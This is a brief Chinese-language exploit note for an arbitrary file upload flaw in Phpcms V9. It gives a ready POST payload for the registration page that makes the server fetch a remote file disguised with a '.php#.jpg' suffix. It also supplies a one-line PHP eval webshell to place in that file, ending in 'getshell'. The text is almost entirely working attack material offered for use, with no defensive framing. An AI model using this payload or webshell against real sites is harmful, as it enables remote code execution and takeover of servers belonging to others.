Phpcms_V9任意文件上傳

Phpcms_V9任意文件上傳

下載最新版Phpcms，在註冊頁面進行post提交。EXP：

siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://127.0.0.1/2.txt?.php#.jpg>&dosubmit=1&protocol=

2.txt中寫入一句話：

<?php @eval($_POST[cmd]);?>

報錯，並返回shell地址。
getshell。